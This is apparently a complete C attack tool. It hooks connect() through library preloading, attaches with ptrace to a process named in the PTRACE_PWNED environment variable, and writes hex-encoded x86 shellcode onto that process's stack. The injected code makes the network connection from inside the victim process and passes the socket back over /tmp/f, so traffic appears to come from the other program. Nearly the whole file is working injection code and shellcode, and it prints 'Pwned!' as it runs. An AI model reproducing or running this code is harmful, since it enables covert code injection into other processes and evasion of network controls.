#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <unistd.h>
#include <string.h>
#include <linux/ptrace.h>
#include <errno.h>
#include <linux/user.h>         /* for user_regs_struct */
#include <signal.h>
#include <sys/wait.h>
#include <arpa/inet.h>

#define OFFSET_PORT 84
#define OFFSET_ADDR 89

#define BUFSIZE 1024
unsigned char shellcode[] =
  "\x90\x90\x55\x89\xe5\x60\x81\xed\x2c\x01\x00\x00\xb8\x66\x00\x00\x00\xbb\x01"
  "\x00\x00\x00\x89\xe9\x66\xc7\x45\x00\x02\x00\x66\xc7\x45\x04\x01\x00\xc7\x45"
  "\x08\x06\x00\x00\x00\xcd\x80\x89\xc2\x50\xb8\x66\x00\x00\x00\xbb\x03\x00\x00"
  "\x00\x89\xe9\x89\x55\x00\x89\xea\x81\xc2\x0c\x00\x00\x00\x89\x55\x04\x66\xc7"
  "\x45\x0c\x02\x00\x66\xc7\x45\x0e"
  "\x00\x00" /* numéro de port (offset=84 */
  "\xc7\x45\x10"
  "\x00\x00\x00\x00" /* addresse serveur offset=90 */
  "\xc7\x45"
  "\x08\x10\x00\x00\x00\xcd\x80\xb8\x66\x00\x00\x00\xbb\x01\x00\x00\x00\x89\xe9"
  "\xc7\x45\x00\x01\x00\x00\x00\xc7\x45\x04\x01\x00\x00\x00\xc7\x45\x08\x00\x00"
  "\x00\x00\xcd\x80\x50\x89\xc2\xb8\x66\x00\x00\x00\xbb\x03\x00\x00\x00\x89\xe9"
  "\x89\x55\x00\x89\xea\x81\xc2\x0e\x00\x00\x00\x89\x55\x04\xc7\x45\x08\x10\x00"
  "\x00\x00\x66\xc7\x02\x01\x00\xc7\x42\x02\x2f\x74\x6d\x70\xc7\x42\x06\x2f\x66"
  "\x00\x00\xcd\x80\xc7\x45\x00\x00\x00\x00\x00\x89\x6d\x01\xc7\x45\x05\x01\x00"
  "\x00\x00\x89\xef\x81\xc7\x09\x00\x00\x00\xba\x00\x00\x00\x00\x81\xfa\x1c\x00"
  "\x00\x00\x7f\x0f\xc7\x04\x17\x00\x00\x00\x00\x81\xc2\x04\x00\x00\x00\xeb\xe9"
  "\x89\xea\x42\x89\x57\x08\xc7\x47\x0c\x01\x00\x00\x00\x89\xee\x81\xc6\x64\x00"
  "\x00\x00\x89\x77\x10\xc7\x47\x14\x10\x00\x00\x00\xc7\x06\x10\x00\x00\x00\xc7"
  "\x46\x04\x01\x00\x00\x00\xc7\x46\x08\x01\x00\x00\x00\x5b\x58\x89\x46\x0c\x89"
  "\xe9\x81\xc1\xc8\x00\x00\x00\x89\x19\x89\xef\x81\xc7\x09\x00\x00\x00\x89\x79"
  "\x04\xc7\x41\x08\x00\x00\x00\x00\xb8\x66\x00\x00\x00\xbb\x10\x00\x00\x00\xba"
  "\x0c\x00\x00\x00\xcd\x80\x81\xc5\x2c\x01\x00\x00\x61\x89\xec\x5d\xc3";

void inject_shellcode(pid_t pid, struct sockaddr *s) 
{
  long ret;
  struct user_regs_struct regs;
  int i, len;
  int writeptr;

  ret = ptrace(PTRACE_ATTACH, pid, NULL, 0);

  if (ret < 0) 
    {
      perror("ptrace(attach)");
      return;
    }
  
  waitpid(pid, NULL, WUNTRACED);
  
  printf(" [+] attached to %d\n", pid);

  ptrace(PTRACE_GETREGS, pid, NULL, &regs);
  printf(" [+] reg.eip=0x%x reg.esp=0x%x reg.ebp=0x%x\n", regs.eip, regs.esp, regs.ebp);

  writeptr  = regs.esp - 1024;
  regs.esp = regs.esp - 4;
  ptrace(PTRACE_POKETEXT, pid, regs.esp, regs.eip);

  *((unsigned short *)((char *)shellcode+OFFSET_PORT)) = ((struct sockaddr_in *)s)->sin_port;
  *((int *)((char *)shellcode+OFFSET_ADDR)) = (int)((struct sockaddr_in *)s)->sin_addr.s_addr;
  
  regs.eip = writeptr+2;
  printf(" [+] reg.eip=0x%x reg.esp=0x%x reg.ebp=0x%x\n", regs.eip, regs.esp, regs.ebp);
  ptrace(PTRACE_SETREGS, pid, NULL, &regs);
  
  len = sizeof(shellcode) >> 2;
  for (i=0 ; i <  len ; i++) 
    {
      int op = *((int *)shellcode+i) ;
      
      printf("    0x%x: opcode=%x\n", writeptr+(i<<2), op);
      ptrace(PTRACE_POKETEXT, pid, writeptr+(i<<2), op);
    }
  
  printf(" [+] opcodes injected!\n");

  ptrace(PTRACE_DETACH, pid, NULL, NULL);
  printf(" [+] detached!\n");
}

int receive_fd(int sockfd)
{
  struct cmsghdr *ch;
  struct msghdr  msg;
  struct iovec iov;
  char ancillary[CMSG_SPACE(sizeof(int))];
  char tmp;
  int fd = -1;

  memset(&msg, 0, sizeof(msg));

  iov.iov_base = &tmp;
  iov.iov_len  =  1;

  msg.msg_iov = &iov;
  msg.msg_iovlen = 1;

  msg.msg_control = &ancillary;
  msg.msg_controllen = CMSG_LEN(sizeof(ancillary));

  printf(" *** recvmsg\n");
  
  fd = recvmsg(sockfd, &msg, 0);
  printf(" *** recvmsg completed\n");
  
  if (fd > 0) {
    /* recvmsg() succedeed */
    ch = CMSG_FIRSTHDR(&msg);

    if (!ch && ch->cmsg_type != SCM_RIGHTS) {
      fprintf(stderr, "cmsg_type is not good... (was %d)\n"
              , ch->cmsg_type);
    } else {
      memcpy(&fd, CMSG_DATA(ch), sizeof(fd));
    }

  } else {
    perror("recvmsg()");
  }
  return fd;
}


int connect(int CLIENTsockfd, const struct sockaddr *serv_addr, socklen_t addrlen) 
{
  struct sockaddr_un unixpath = { AF_UNIX, "/tmp/f"};
  int socketfd, clientfd, fd;
  char buf[BUFSIZE];
  char *env = getenv("PTRACE_PWNED");
  pid_t pid;

  close(CLIENTsockfd);
  
  printf("Pwned!\n");
  
  if (env)
    pid = atoi(env);
  else
    exit(1);

  if (pid <= 0) {
    fprintf(stderr, "Invalid pid!\n");
    return EXIT_FAILURE;
  }

  
  socketfd = socket(PF_UNIX, SOCK_STREAM, 0);

  if (socketfd < 0) {
    perror("socket()");
    return EXIT_FAILURE;
  }

  unlink("/tmp/f");

  if (bind(socketfd, (struct sockaddr *) &unixpath, sizeof(unixpath)) < 0) {
    perror("bind()");
    return EXIT_FAILURE;
  }

  if (listen(socketfd, 1) < 0) {
    perror("listen()");
    return EXIT_FAILURE;
  }
  
  if (fork() == 0) 
    {
      sleep(4);
      inject_shellcode(pid, serv_addr);
      exit(0);
    }
  printf("Accepting()\n");
  
  clientfd = accept(socketfd, NULL, 0);

  if (clientfd < 0) {
    perror("accept()");
    return EXIT_FAILURE;
  }
  printf("receiving fd\n");
  
  fd = receive_fd(clientfd);
  printf("fd received\n");

  if (fd <= 0) {
    perror("receive_fd()");
    return EXIT_FAILURE;
  }
  
  dup2(fd, CLIENTsockfd);
  
  wait(0);

  printf("Bye bye\n");
  return 0;
}
